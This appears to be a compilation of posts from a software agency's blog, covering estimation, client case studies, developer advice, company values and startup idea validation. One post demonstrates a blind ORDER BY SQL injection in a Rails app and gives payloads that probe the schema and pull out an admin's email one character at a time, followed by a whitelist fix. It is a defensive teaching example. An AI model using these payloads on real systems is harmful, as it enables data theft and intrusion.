Complexity - Low. It contains pretty common functionality. UI doesn't have anything complex and most of the components are already ready. All the complex form management/validation will handle some library. Amount of work - Medium. We need to do several things, like choosing a library for form management, communicating with API, handling errors from API, implementing an architecture for protected/unprotected routes.
Risk and uncertainty - Low. It's clear how it should work. We know how to communicate with API. We have experience working with forms, so even though we don't know which library we're going to use, we don't expect a lot of risks from it.
Points - 3

Task #4. Implement chart on dashboard

Description

We need to implement a chart on a dashboard which shows some statistics. It's a bar chart with a tooltip. The design for the chart is custom.

Additional context

We're going to use some library for building charts but we don't know which one yet. We don't have any experience building charts. We need to implement it to look the same as on the design so we need a library where we can customize the appearance of charts as we need. We need to think about the loading state, empty state. We need to communicate with API.

Estimation

Time - Unknown. It's hard to estimate how much time it needs since we don't have prior experience in implementing charts.
Complexity - High. Data visualization isn't an easy concept and requires special knowledge to successfully build custom charts.
Amount of work - High. We need to find a library which covers all our requirements. We need to learn the found library and learn data visualization in general.
Risk and uncertainty - High. Since we never did it before, there are a lot of uncertainties and risks. We don't know which library we're going to use, we don't know how hard it's to use that library and which issues it has, we don't know how hard it's to learn data visualization.
Points - 8. Even though it might not take much time in the end, we still chose 8 because there are a lot of uncertainties.

Additional resources

If you want to understand better story points then I highly recommend to read these articles:

Handled 300k users for a $30 million deal in 48 Hours and other contributions - Fintech Case Study

Yuliya Haranok — Mon, 11 Dec 2023 09:18:19 +0000

This article is a collaborative look back at the key contributions we’ve delivered to our clients’ Legal Fintech project over the past three years

DealMaker has been on an aggressive growth trajectory.

Recently ranked as one of the fastest-growing companies in Canada by three-year revenue growth, DealMaker is disrupting the way capital is raised, making the once complex activity of selling shares as easy as selling shoes. They’re a cloud-based platform built to help Founders digitall raise capital and turn their customers into shareholders. In just the first three years, they’ve powered over 400 companies with their digital capital raises, from seed to IPO, already surpassing over $1 billion in capital raised.

Back in 2020, the CTO of DealMaker reached out to datarockets to assist their team in developing their Ruby on Rails application. The datarockets team would help own, lead and tackle the following challenges:

Resolving slow pages loading + significantly improve app performance.
Setting up development practices and code quality standards fit for a fast-growing startup environment.
Developing new integrations + implementing a host of new features.
Tackling technical debt, making infrastructure changes & necessary upgrades.

One of the fun and unique challenges to this project was the nature of the industry itself, which included a diverse range of entities such as investors, brokers, brokerages/brokerage syndicates, enterprises/companies (issuers), shareholders, lawyers, co-signers, various document types, etc. Navigating this, our team was challenged with delivering large pieces of new functionality, and in tandem, help monitor and manage their drastic product growth.

One of the capital-raising transactions that we witnessed, saw over $30 million raised in under 48 hours – demonstrating the type of landmark transactions that DealMaker helps facilitate. That was a fun one as our developers got to monitor in real time and help ensure seamless experiences given abnormally high load activity.

Approach & Highlights

DealMaker has an in-house development team, which is split into pods – smaller sub-divisions that work on the specific area of the application. Developers from datarockets would assist with various pods, affecting different parts of the application. To keep communication tight, the teams used Slack and Google Meet to interact and Jira as a Product Management tool.

Datarockets improved the performance of the app and completed various infrastructure changes. We helped migrate the frontend from jQuery to Svelte. Brought some better design decisions and restructured long-loading pages into a more efficient layout.

Red October deal: The Race to onboard a high-profile client

In 2021, Dealmaker secured a large-scale client who would be joining the platform within 2-3 months time (October). Given the October deadline and the fact that this news was shrouded in high confidentiality, this project was given the codename “Red October”.

It was estimated that this client, and their capital raise, would draw in ~300,000 investors. We knew that given the current form of the application, it simply wouldn’t be able to handle such an influx. Strategy never moves in a linear path, and so with this new objective, datarockets shifted our focus to support the Dealmaker team in ensuring that they’d be well-prepared for this deal:

developed new functionality & teamed up on critical optimizations needed to scale the platform
closely identified, analyzed and improved areas that were slow and inefficient
created scripts for load testing, which would emulate the activity of thousands of users, and resolve performance bottlenecks identified in that process

“Red October” is an example of the scaling challenges always accompanying rapid growth. During this period, our teams carried out tight-knit collaboration and kept the performance & output high.

The capital raise was another landmark transaction and as expected (after a lot of hard work) the platform handled the high-loads elegantly, ultimately helping make this the sixth historic offering in the organization’s history. You can read more about it here.

Delivered DealMaker API and embeddable flow
Our team helped DealMaker to implement functionality that allows their clients (deals and enterprises) to integrate with them: Dealmaker API and the embeddable flow.

This flow allows Dealmaker to embed their investor flow directly onto the client’s (issuer’s) site in an iframe, helping increase trust and creating ease in accepting investors right on the business’ website.

The API itself is much more flexible. It maintains public documentation powered by ReDoc, and has the functionality to subscribe for webhooks. Our dev team used Ruby Grape, OAuth2, and DoorKeeper for Dealmaker’s API.

Since DealMaker is a capital-raising platform, our team had to work on integrations with various payment services. These included integrations with services such as WorldPay, Aeropay, FundAmerica, and Stripe. Currently, most payments go through Stripe, including ACH and ACSS payments with microdeposits, card, and mobile wallet payment methods, which allows investors to pay in seconds using Google Pay and Apple Pay.

Introducing Efficiency and Safety of Payments through VCR tests

As stated earlier, the Payments part of the app included a lot of integrations. These integrations are usually either SDKs (Stripe) or simple APIs (Aeropay). One problem encountered was that these SDKs and APIs were constantly being updated, which led to breaking changes from time to time. Payments and money transfers are the most important parts of a Fintech application, therefore, it was important that we automate the testing of payment integrations.

Regular unit tests just aren’t as helpful in these situations. E2E (End-to-End) tests written by the QA team could help catch something just before a release, but identifying a problem at this stage of the game would be too late. DealMaker had suggested using VCR tests. The essence of VCR is that it allows tests to make real requests using the SDK or API and record real responses. We did the SPIKE and POС, and after discussions, it was decided that we would integrate it.

It didn’t take long to see the benefits. At that time, we had a 5-point ticket to update Stripe to the latest version and check everything manually. Normally, a task like that could take up to a week or longer, but after we integrated VCR and wrote VCR tests for all flows, the Stripe version was updated in half a day (!), and all the tests were checked by the CI. In other words, what was once a 5-point task could now be completed in a half-day task.

Efficiency gains like this are important as they compound over time, creating the space for companies to supercharge into rapid growth.

Now we’re able to update all third-party SDKs and APIs with every new version because their functionality testing is automated. It took some time to set everything up and update existing tests, but now it is as simple to write a VCR as to write a regular test, and the benefits of VCR tests are significantly greater.

Delivered numerous fixes and new features

Throughout our time, we helped the DealMaker’s team deliver loads of new functionality. An example of such features include:

White-labeling
White-labeling allows clients to represent their own brands on DealMaker. Deal pages are served under a specified subdomain, brand colors, logos etc are put into various aspects of their deals, on emails, and specific pages.

Self-onboarding
Self-onboarding automated the process of deal generation, making managers’ lives easier. We implemented this completely new feature to experiment with one type of user and collect feedback, it was positive and the self-onboarding was applied to the rest of the clients.

Refunds
Refunds have proven to be highly beneficial as they have significantly expedited the time of processing a single refund from approximately 5 minutes to a mere couple of seconds. This improvement has greatly alleviated the workload for DealMaker managers, who often needed to process hundreds of refunds manually.

Investor and issuer insights dashboard
The feature provides investors and issuers with their funds’ data in accessible graphs. Quick calculations of graphs and numbers are achieved with Snowflake Data Warehouse and ELT integration.

Our longstanding collaboration with DealMaker has been carried out with well-established processes, which allowed both sides to work conveniently in a consistent rhythm. Throughout this time, we have been receiving positive feedback from DealMaker highlighting our high technical level.

Results

Datarockets had the pleasure of partnering with DealMaker for over 3 years. At different stages of cooperation, the datarockets’ dev team consisted of three to five Ruby on Rails developers of different seniority levels.

Our team played a significant role in optimizing the application, improving the infrastructure, integrating new payment methods, and participated in designing and implementing new functionality such as white-labeling, self-onboarding, refunds, investor/issuer insights, etc. Our team had a hand in bringing VCR tests to the project and building DealMaker API.

Along with this, datarockets helped improve development processes, added tests and linter coverage, and shared our expertise with new developers through code review and pair-programming practices.

Datarockets helped the client keep technical standards high during the intensive team growth, and we’re proud to have helped play a part in the journey of DealMaker as they continue to experience success, recently ranked as the 3rd fastest-growing company in Canada.

One of the most detailed reviews about our work on DealMaker can be found on Clutch.

Feedback and Tips for Junior developers

Yuliya Haranok — Thu, 08 Jul 2021 16:02:23 +0000

Quality feedback is an essential part of professional growth and we love sharing it not only within our team but also with candidates who get interviewed. In this article, we collected some tips from the real feedback given by our CTO Dima and Lead developer Andrew to junior developers. But we also believe that these thoughts can be a good checklist for more experienced developers.

Learn the tools – git, command line, docker, and interpret errors correctly

Before asking for help, you should read the error messages carefully and understand them. However, there’s nothing bad about accepting the fact that you don’t understand something.

If you don’t understand the error message, you can tell honestly about this. It is a bad habit to send a screenshot with the text “I have an error here.” Instead, you can send an error message and write: “I’m rebasing and have resolved the conflicts but the git says that something needs to be committed while there’s nothing to commit. It says that I can skip the commit, but I don’t understand what it means to skip the commit.”

As the very first step, we advise you to study git so deeply that you understand every word in every command you write. We suggest you read the ProGit book or watch our CTO's talk about git.

It will be very helpful to learn the command line and CLI tools. What happens when you write a command in Linux terminal? How does Linux know what binary file to execute? How is it different if you run the same command on Windows? You can watch a video about shell on datarockets YouTube.

Ask for help properly and describe the problem in words

Junior developers often share many lines of code to chat or, much worse, a screenshot, with the comment “it doesn’t work, can we have a call”. However, they don’t say what exactly isn’t working. In such situations, it is impossible to help without a call and a pair debugging session.

Instead of asking for a call, it would be much more useful if you describe the problem in words, without pictures or screenshots. A good example, “after line 7 I was expecting to see , but occurred instead”, from the guide “How to ask questions the smart way”.

When you describe the problem in words, sometimes it happens that a good assumption about the problem’s cause pops up in your head and you may realize how to fix the problem yourself.

Learn how to deal with errors and problems

If you don’t understand how something works, read the error message, see exactly where it occurred, try to isolate it so you know exactly which piece of code is causing the error. Make a guess as to why the error might have occurred and try to fix it.

Your first inclination could be to fix the error as quickly as possible in any way you can, without getting to the root of the problem. Even though it might work sometimes it’s hard to learn from this experience and we may leave some hidden bugs unfixed.

Ideally, for every single word in the code you write, you should be able to answer why you wrote it. For example, in the code below, what for the CSS class “layout” is here? Where is the code for this CSS class written?

<Layout className={`layout ${css.layout}}>

Here’s a great book about debugging, which we highly recommend. One of our favorite tech writers, Julia Evans might publish a zine about debugging soon: Reasons why bugs might feel “impossible”.

Get more practice in the review of other developers’ code

Code review will help you to learn faster, think critically and adopt coding standards. It is a necessary element of developing your solution-design taste, it brings room for knowledge sharing as well.

Read about Code Review Best Practices and start following them. The Clean Coder book will tell you everything about writing maintainable code. The ideas from it will help you in code review as well.

Take more ownership of the feature delivery process

There’s a more advanced level, but if you pump it up, it will make you a self-sufficient engineer who doesn’t need any guidance to complete features.

It includes discussing a feature with a client, breaking it down into tasks, self-assigning to the tasks, suggesting what you could do instead of asking others what to do next, and delivering with final deploy – the full thing.

Take on tasks of higher complexity

Improve your architectural skills by facing technical challenges of higher complexity and learn more about design patterns. There’s no growth without a challenge, so don’t be afraid to take a more complex task even if it requires some support to complete.

Be curious and ask questions

One of the important skills for developers and engineers is curiosity. Curiosity drives us to learn new things and improve our skills.

Be curious about colleagues’ work. Do you know how they debug programs? Do they use UI debugger or debug output? What do they look first at during the code review? What do they dislike about the language you use and why?

Be curious about the tech you hear or read about. Did someone mention Kotlin Multiplatform Mobile? Try to learn how it works and what it offers. Apple released the M1 chip that you heard uses ARM architecture but you don’t know what ARM means and what other architectures exist? Ask your colleagues about this and engage them in communication. Saw that the output of git log looks different on your colleague’s computer? Ask them to share how they configured this.

Security vulnerabilities – how to find and fix them

Nikita Pupko — Fri, 02 Jul 2021 14:17:41 +0000

This article is about security vulnerabilities that can be found in many projects. Ignoring them can have terrible consequences for businesses. Hopefully, they are easy to fix. Here I described how I found a vulnerability, showed how it could be used for data extracting from the database, and fixed it with just one line of code.

During one of my tasks on the project, I worked on Dashboard improvements. Dashboard – it’s just the main page for users with different types of entities (showed by cards) and filters in the sidebar (search by keyword, order, filter by type).

Here is the HTML code of the Sort filter.

<select name="order_filter" id="order_filter" class="form-control custom-select">
  <option value="last_seen desc">Recent First</option>
  <option value="created desc">Date Created ⬇</option>
  <option value="created asc">Date Created ⬆</option>
  <option value="title asc">A-Z</option>
  <option value="title desc">Z-A</option>
</select>

Field name for ordering and order in one place with space between. Put your first thought that came to your mind in the comments. 😄

My first thought was, “Why does value look pretty similar to the SQL request part?”. I decided to take a deeper look into it and found that we definitely pass it as:

scope = scope.filter_results(keyword: @keyword, state_filter: @state_filter, order_filter: params[:order_filter])

where filter_results is just a concern method that calls state_filter and order_filter on model if it exists.

So, in model we just have this:

scope :keyword, -> (keyword) { where("title like ?", "%#{keyword}%") }
scope :state_filter, -> (state) { where( state: state ) }
scope :order_filter, -> (order_filter) { reorder(order_filter)} # <- IMPORTANT LINE

ActiveRecord::QueryMethods#reorder Replaces any existing order defined on the relation with the specified order. User.order(’email DESC’).reorder(‘id ASC’) # generated SQL has ‘ORDER BY id ASC’
Source: https://apidock.com/rails/ActiveRecord/QueryMethods/reorder

Hello! Let’s play with it a little. Firstly I decided to test the ability to pass different symbols into the query, and it works well.

I changed one of the HTML filter options to different column names and symbols like brackets, and it works well. So, we have the hole. Let’s put our finger into it.

So, how could it help us get some data from the table? We can do some condition and get the result which can be reflected in the order of the cards on the dashboard:

Do you remember this game from Tarantino’s Inglorious Bastards film? When guys put stickers with the name of some person onto their foreheads and trying to guess this person’s name by using only questions with answers “Yes” or “No.”

Useful construction for ORDER SQL injection is a:

(CASE WHEN condition THEN first_coumn_name ELSE second_column_name END)

SELECT IF (condition, first_column_name, second_column_name)

We just need to find a condition (as a question), and two column names to see the result and put it as ORDER BY value (like Yes and No answers).

What could we put into the condition part? Everything. Literally everything.

How about this?

SELECT IF ((SELECT count(*) FROM information_schema.columns 
WHERE COLUMN_NAME = 'is_admin' AND table_name = 'users' LIMIT 1)>0, 'YES', 'NO');

If we have is_admin column in users table it should return YES.

Let’s put in into query with column names for sorting:

(SELECT IF ((SELECT count(*) FROM information_schema.columns 
WHERE COLUMN_NAME = 'admin' AND table_name = 'users' LIMIT 1)>0, title, created_at))

The first card is Fundico, and the second is Area. There is no is_admin column in the users table. Let’s try just admin instead:

Here we go! Now we know that we have admin column in our users table.

P.S. The full query with injected code looks like this:

SELECT `table_1`.* FROM `table_1` WHERE `table_1`.`id` IN 
  (SELECT DISTINCT `table_2`.`deal_id` FROM `table_2` LEFT OUTER JOIN `team_members` 
    ON `team_members`.`cool_dude_id` = `table_2`.`id` 
    WHERE `table_2`.`state` != -1 AND (table_2.user_id=*** or team_members.user_id=***)) 
  ORDER BY (SELECT IF ((SELECT count(*) FROM information_schema.columns 
    WHERE COLUMN_NAME = 'admin' AND table_name = 'users' LIMIT 1)>0, title, created_at))

Let’s find the rest of the data by analogy. Firstly we need to find email of any admin user to get access to the system.

We could do this symbol by symbol using ASCII table:

We just need to paste all symbols one by one and look for a match:

SELECT IF ((SELECT ASCII(SUBSTRING(email, 1, 1)) FROM users where admin = true LIMIT 1)=105, title, created_at)

This query returns true if the first ASCII code of symbol in the email of the first admin equals 105 (I.e., the first symbol of email is i).

Then we go for the second symbol using ASCII(SUBSTRING(email, 2, 1)) and find all symbols one by one.

Conclusion

We could find any information using this hole like credentials of all users, phones, addresses, etc. Always be careful and try not to use strings for searches and filters in Rails.

Rails is well enough protected from vulnerabilities, but nothing can save you from your own mistakes.

Use wrappers, like hashes and arrays. Don’t use User.where(“name = ‘#{params[:name]'”).

Use User.where([“name = ?”, “#{params[:name]}”]) or User.where({ name: params[:name] }) instead.

This vulnerability can be fixed using just one line, for example:

ORDER_FILTERS = { title_asc: 'title asc', created_at_asc: 'created_at asc'}
scope = scope.filter_results(order_filter: ORDER_FILTERS[params[:order_filter]])

The datarockers’ codex – company core values

Yuliya Haranok — Wed, 19 May 2021 15:03:20 +0000

In 2014, our founders wrote a codex for everyone who wanted to join the datarockets’ team, so that the candidates could check if they shared the same core values as ours. Since then, we have transformed our processes a lot, but this document still stays relevant as it presents our company principles and culture.

The original version was written in Russian and now we decided to make it accessible for everyone by translating it into English. If you know Russian, we highly recommend you to read the original text from 2014 :).

Intro from the founders

The goal of datarockets is to bring ideas into life, delve into client’s businesses and contribute to their development. Our personal goal is to gather a cohesive team that will turn the company into an intellectual hub, which will result in both money and pleasure. Besides, we love sharing our knowledge with other people and bringing value to the whole industry.

We have an individual attitude and an approach to everyone: we put a piece of our heart, invest our time and money and make sure that each datarocker comes to our company for a good reason.

We value honesty, self-development, and professionalism. We believe that it will help us to attract like-minded people. Thus, when hiring a new datarocker, we first look at their attitude rather than knowledge. Having said that, there are no random people at datarockets.

Creation

Datarockers tend to find a healthy and productive way to express themselves. As a company, we create a safe space for it.

Self-expression is an essential part of everyone’s life. When people don’t express themselves, they repress the important parts of who they are and cause themselves considerable struggle and lasting mental and emotional pain (source).

Therefore, every datarocker:

chooses the path of creation,
cares about personal mental state,
is driven by curiosity,
has the desire to invent things,
gets the pleasure from finding elegant and brilliant solutions to complex problems,
and loves adding values to anything he or she does.

Responsibility

Datarockers are responsible for everything that happens in both personal life and at work. They do not try to limit their responsibility and do not seek excuses.

Datarockers always pick up the phone and do not hide from problems and stressful meetings. They don’t disappear at the most critical moment — even if they make mistakes, they tell the truth and offer solutions to resolve the problem.

Usually, people are forced to work at the office and monitored by managers behind their backs. However, at datarockets, the traditional micromanagement does not exist. In our company, we have processes that help set up the routine, but flexible schedule and remote work are not for everyone. Datarockers decide on their own how much and how to work, where to live, and when to rest.

Money

Datarockers don’t always work for money, even though they understand that the quality of their lives depends on money. They consider their time as capital and invest it wisely.

Additionally, datarockers never talk about personal salary and the company’s remuneration. Any relationship of datarockets with clients is confidential information, and remuneration is not a subject of public negotiations.

Personal development

Datarockers are ambitious life-long learners. They read books, listen to podcasts, and keep up with what’s new in the IT world. You can meet a datarocker at the conference, and later — with a glass of beer at the after-party. Our teammates share their experience in articles, contribute to open source, organize and speak at conferences & meetups for engineers.

Datarockers do not stick to one framework or library; they are willing to adopt other technologies. Frontend developers at datarockets understand how the backend works and can make some changes themselves. Backend developers can lay out or move a block on a page without having to ask the frontend team. Datarockers understand the fundamental programming concepts, which helps them quickly master any new technologies.

Professionalism

Every single datarocker is a conscientious person. They do their job as best as possible, never sacrifice quality nor hesitate to speak out their own opinions. Achieving the result is professional responsibility, and datarockers know the right path to it.

The quality of work does not depend on a personal relationship or feelings towards a client or a project. A datarocker understands that the best product is a workable product that is launched on time. Striving for perfectionism doesn’t justify missing deadlines.

Datarockers are team players who understand that by working together, they can maximize their productivity and efficiency. They respect the opinions of their colleagues and help datarockets’ newbies to understand the industry.

Datarockers always move up their career ladder. As soon as datarockers start feeling self-sufficient and can teach others, they delegate tasks and take over new responsibilities to benefit the team and clients.

There are no boring tasks for datarockers. We develop products for various businesses, from finance and logistics to nightclubs and bars. Even when solving trivial tasks, we automate the routine, try new approaches and create useful tools. We never know in advance what knowledge will be helpful in the future. In our business, knowledge about the whole world is always important.

Datarockers constantly look for different ways of improving themselves and optimizing time to complete their tasks.

Relationships with clients

Datarockers always remember that they are providing a service. When making decisions, the client’s benefits and their product are always our top priority. In the eyes of our clients, datarockets is not a faceless team of developers hidden behind the manager. When a client chooses our services, they expect to work with us as a single team.

Human relationships are built on expectations, therefore, we understand that high expectations can turn into disappointments. It is better to underpromise and overdeliver rather than overpromise but then fail to deliver the tasks on time.

The datarockets team always ensures confidentiality and respects the client’s privacy and their business decisions. We delve into the client’s business, put ourselves in the client’s shoes, and suggest the best possible solutions in any given situation.

Reputation and attitude towards datarockets

Datarockers are tactful and self-aware of their reputation. Not only do they always speak about their colleagues and clients with honor, they never criticize or disrespect the previous companies they have worked at either, despite any grievances.

A professional who has become an entrepreneur does not entice customers and employees if the other side has not taken the initiative. Instead, an ex-datarocker would rather train new employees and find clients — it is a matter of reputation and honor.

At datarockets, we always recognize and value people, as well as their achievements. We motivate them to speak at conferences and write articles to share their experience with other fellows from the tech community. Experienced datarockers train the team, gain authority and recognition among colleagues.

If these thoughts are appealing to you and you want to learn more about datarockets’ culture, check out our Instagram page. It’s about fun, pets, remote work within a multinational team, and programming, of course 😉

How we created a human analytics platform for teams instead of using Google Sheets

Yuliya Haranok — Thu, 04 Feb 2021 16:14:01 +0000

Vital is a human analytics platform, currently in the MVP stage. With Vital, you can track your personal data such as book readings, time spending, daily vices, and rituals. The platform makes data tracking social with teams engaging and commenting. It also provides a simple visualization of your data and data analytics that helps people to understand their feelings and behaviors better.
The datarockets team built this platform from scratch and participated in the product strategy, which resulted in several features that have been implemented & adopted.

Challenge

The ultimate goal of VITAL is to improve individual productivity and increase self-awareness when working with teams. Our client, the Pixel Dreams team, started with simple journaling using Google Spreadsheets in order to validate their concept. They started logging their productivity on a daily basis as well as the factors that influenced this intending to try to find correlations between their personal data and the entries of their teammates. Here is how the proof of concept looked in Google Spreadsheets:

The guys have already proved to themselves that their data was valuable but they were struggling a lot with the spreadsheets. It took hours of work to set up spreadsheets for new members as well as initiate data entry for new time periods. Moreover, the spreadsheet solution wasn’t scalable at all and it wasn’t possible to share VITAL’s ideas with new people while the application was based on spreadsheets. So, we had to solve the following 2 challenges:

Making the data entry process more convenient
Providing value from data entry to teams - giving some motivation to fill in data every day

Our Approach

First version release

We couldn’t utilize spreadsheets anymore and decided to implement a custom web application that would fulfill the data tracking needs. First of all, we focused on the data entry UI. Being a creative agency, Pixel Dreams provided us with the first version of the design, which looked like the following screenshot:

The application required instant data updates w/o page reload so we decided to use a reactive framework on the frontend, and at that time, React.js was growing popular. We picked React.js + Redux for the frontend and Ruby on Rails for the backend. For the design, we utilized bootstrap to release the first version of the product fast.

In order to motivate people to track their data, we decided to introduce a concept of teams and data sharing. As a result of the first iteration, the users were able to transition from their spreadsheets to the app and the following features were implemented:

Journaling (Daily entry: Win, Loss or Draw + text log)
Teams and dashboard for teams configurable by team admins
Team members’ management, invites via email
Shared and private logs
Additional data types as checklists and counters
Ability to comment on data entries of your teams
Graphs that visualize Win Lose or Draw metrics within teams

And Kal (the founder of Pixel Dreams) invited first platform users for beta testing.

Mobile app implementation and improving UI

After some time of using the app, we gathered feedback from the early adopters and learned that now when they have an app for data tracking, they preferred to use mobile devices to fill it in. Also, we noticed that the early adopters of the platform were using the commenting feature a lot to support each other and ask questions.
Therefore, we decided to run another iteration and create a mobile version of the web application plus add extra social features such as:

A social feed where users can see the logs of their teammates and comment on them w/o switching to the databoard screen
Notifications about new comments so that users could continue their discussions in the comments section We allocated 4 more weeks in order to implement the mobile version and social feed and, as a result, we implemented the following screens:

Implementing analytics as a value prop

At this point, we already had a working proof of the concept being used by employees and early adopters of our client on a regular basis. But together with them, we started thinking about bringing this product to other companies and teams and the ways it could be monetized. Tracking data, sharing it and discussing it wasn’t enough in our opinion to try selling this product. So, we made an assumption that the teams that have enough discipline to track their data could find it valuable to receive insights from it. We then came up with simple analytics that could help in validating this assumption. The page consisted of 4 sections:

your weekly average
how you stand compared to your friends
your spiritual buddy last week
top contributing vital (the one that influences your mood the most and correlates with it)

Result

During the whole development process, 1 part-time Project Manager and 2 full-time middle engineers (frontend and backend) were working from the datarockets side. The PM was involved in the product strategy discussion apart from managing the dev team. Our engineering team participated in feature discussions and suggested ways to make things simpler/faster.
Together with the Pixel Dreams team, we implemented a web application that allows the tracking of personal data such as:

Journaling (day results, WIN LOSE or DRAW)
Variety of counters (Book readings, daily calorie intake, etc.)
Daily checklists (useful routine items, taboos)

Also, we’ve built social features for the teams:

Teams configuration
Roles
Data sharing
Commenting
Notifications
Social feed
Insights and analytics of vitals that affect / correlate with your mood.

Currently, VITAL is in closed BETA. Together with Pixel Dreams, we are evaluating different business models in order to find a product-market fit and define what improvements we are going to build next.
On the whole, the MVP building process with the implementation of new features and a mobile web app took us 18 weeks (~4.5 months) of development.

Technology Stack

Ruby on Rails, Rspec, Mandrill API, Google oAuth, React.js, Chart.js, Redux, Postgres

Originally published on the datarockets' website

MVP development. Idea Validation process

Yuliya Haranok — Thu, 12 Nov 2020 17:06:10 +0000

Entrepreneurs are known to run into dozens of ideas on a daily basis, if not more. While most of them seem to border on absurdity in the beginning, it is often difficult to determine whether or not they would work out in the long run. That’s why the best way of ensuring your idea is worth developing is to learn at the fastest possible pace and have the willingness to try out different experiments.

Based on our proven knowledge on product development and experience, we have developed a template document relating to the process of idea validation, and wrote the guide to explain each question and step in a simple, understandable manner.

Get the Idea Validation template.

How’s this helpful?

Avoid wasting time and resources on something that’s certainly not worth it.
Learn proactively and pivot your idea at a much quicker pace.
Validate your product idea without actual budget/coding skills.
Answering all the questions posed in this guide means it can serve as a worthwhile investor deck. Couple this with running some experiments and you’re well poised to raise money from investors!
Most critically, it provides a credible framework to separate good ideas from bad ones.

List of contents

Value Proposition
Existing Solutions Research
Market Analysis
Business Model Assumptions
Growth Assumptions
Competitor Analysis
Experimental Plan Definition
Experimenting
MVP Scope Definition

Value Proposition

What important truth does your idea uncover that is not mainstream?

The following would be a business version of this question: what is that valuable company that nobody is building? Every correct answer is necessarily a secret: something important and unknown, something hard to do but doable (by Peter Thiel).

It is important for your idea to reveal some unknown, unconventional truth in order to create something of value. Something nobody chooses to talk about aloud, but will become evident to all after it’s unraveled.

For more interesting nuggets and insights on startups that attract VC investors read Zero to One book.

Define fundamental value assumptions

Here at datarockets, we classify three kinds of assumptions:

Value assumptions: To define the value of your idea and future product.
Business model assumptions: This affects the manner in which you get your product monetized.
Growth assumptions: How you’ll ensure growth of your product and continue to attract new customers.

Let’s begin with the basics: the value assumptions!

What are your fundamental value assumptions? How does it help to resolve real-world problems?

On the basis of the previous chapter’s statement, it’s best to define the fundamental value assumptions and experiment with them in the fastest possible manner. Leap of faith assumptions is another popular term for fundamental value assumptions.

If your leap of faith assumptions are not true, the whole idea is not viable. This means that if your failed assumption won’t end up ruining the whole idea, then it’s not vitally important to begin with, thus implying that it can no longer be your fundamental value assumption.

Growth evaluation

Does your idea grow with the advancements of supporting technologies (durability)?

Before taking the next step, confirm whether a new, upcoming technology won’t kill your promising idea.
Ex: If you’re intending to develop a startup that teaches people how to drive vehicles, it may make sense to assume that with the advance of self-driving cars your business might get destroyed.

Existing Solutions Research

Has anyone implemented your idea / tried to implement it before?

Although a typical process begins with communicating with people whose pain points will be addressed with your product/service, it makes a lot of sense to first research your idea and determine if similar services/solutions are already available in the market. After ensuring that the competition is not excessively intense or your idea provides breakthrough value with its uniqueness, it’s time to proceed further.

Find communities that may potentially be facing the problem you’re looking to resolve. Ask how they’re currently dealing with it and if they’d be interested in trying out your way.

More often than not, other people may already be solving the problem you plan to solve. They may be doing that using some tricks or manual solutions. Identify and talk to them about how they tackle such challenges, what is it that they struggle with, and whether or not they’d like to explore your way of doing that.
Based on who your target audience is, join Facebook groups where your target audience is likely to assemble, gather feedback from your own network, or even consider talking to people on the streets.
Remember, whenever you wish to solve someone's problem or fulfil an unmet need in the market, the first step is to get people to stop using other solutions or make changes in lifestyles. After ensuring the problem is worthy of being solved and something that people wouldn’t mind paying for, you’re ready to take the next step.

Why do you think your solution is better?

After taking the above steps, focus on the advantages and the distinguishing features of your solutions that set them apart from others. List them in a logical order and then explain why people will find more value in your solution. What value will it bring to them?

Market Analysis

Previously, we’d been assessing and validating our Value Assumptions. Ensuring the viability of your idea was their core purpose. Unfortunately, merely having a good idea to create a long-term profitable product does not suffice. Think about the different ways in which you make money out of your solution via Market Analysis and Business Model Assumptions.

Define your potential target market

Narrow down your potential target market. Who is your ideal customer? Why should they pay for your solution?

Targeting everyone essentially means that you’re not targeting anyone in particular. Concentrating on the appropriate target market is a good approach because it lets you maximize your returns on the time, money and energy you’ve invested. Secondly, it’s far easier to conduct experiments in a narrow market.
Try and define specific groups you wish to target with your service/product alongside their potential sources of revenue. Depending on your idea, you can even group them by job, interests, demographics, etc. Ensure that your target audience will be able to buy your products as the revenue source of each target will be different.
Now, there are some industries where people are very unlikely to pay for additional services. As a case in point, the probability of people paying to use social media for communication purposes is very low. In such scenarios, use your discretion and prepare a draft of your monetization strategy. While it needn’t be your final blueprint, it will greatly simplify your task by helping you select more attractive markets.

Use Google Trends/Semrush to see how many people google solutions for the problem you are trying to solve

Tools like Google Trends or Semrush give you an accurate picture of just how many people are seeking solutions to the problem you’re attempting to resolve. Most importantly, such tools allow you to check who these people are, know what their trends are, and provide a reasonable accurate estimate of the size of your target market.

Reach out to five well-known people in the market and ask for feedback on your idea

After gathering the necessary information based on the previous steps, select a market (or a couple of them) that seems most promising. The next step in this phase is to gather feedback from specific groups of people relevant to your market. Doing this will give you plenty of actionable insights and the opportunity to further examine your idea from different perspectives.

Create a portrait of your target audience

In this phase, try to be as specific as possible about all relevant attributes of your target audience that describe them/their lives accurately and narrow them down further - age, gender, interests, position, personality, daily schedule, reading patterns, etc.

Regardless of whether you describe a person or a company, depending on your sales model (B2B or B2C), the approach will remain unchanged. Consider the example from the "1-Page Marketing Plan" book.

Conduct target user interviews

According to Eric Migicovsky, a Y Combinator partner, the best firms are those whose founders establish a direct connection with their users. If you happen to be a founder, consider talking directly to the users of your product or solution.

In his talk, Eric cites a useful example of a structure that can be used to hold your user interviews. After tailoring the structure based on our needs and priorities, this is what we’ve come up with:

What makes the problem difficult for them?
When did they last face it?
What have they done to solve the problem?
What are the things about existing solutions that they don’t like?
How much would they pay to resolve the problem?

Business Model Assumptions

List your business model assumptions (based on the assumptions on what you assume your customers are going to pay and how much)

After defining the problem to be solved, doing user interviews and knowing more about the target audience, it’s now time to brainstorm ways of monetizing your product.

It’s a good idea to first get better informed about various types of business models before jotting down your assumptions about how your customers would be paying and how much. Put every idea on your mind on the table.

Growth Assumptions

List your growth assumptions (what is your plan to rope in new users and how much cost would that involve)

To survive and thrive, it’s critical to ensure your product grows smoothly and plan out ways in which you’ll attract new users or enter into new deals (partnerships). You’ll have a far better picture of your future marketing investment by writing down all possible growth hacking and marketing ideas. (prepare to get startled by the fact that budgets for marketing are often bigger than those for development purposes ;))

Does your growth engine generate new users from the actions of existing users? List out your acquisition loops.

Getting new users effortlessly without spending any money is always a pleasant feeling. In that context, consider exploring acquisition loops which will make a great addition for your monetization strategies.

The core idea behind acquisition loops is as follows: The more users you have, the more users are attracted.

You can implement acquisition loops in the form of referral programs (e.g. Airbnb and Uber offer free coupons/rides for each referred user) or content loops that are user generated (Reddit, social networks, etc.).
Natural acquisition loops are extremely important when you’re planning to execute an Ad-based business model, because the average revenue per user (ARPU) of ad-based models are lower in comparison to let’s say SaaS. That's why they must acquire new users cheaply to generate sustainable profits and reap massive profits.

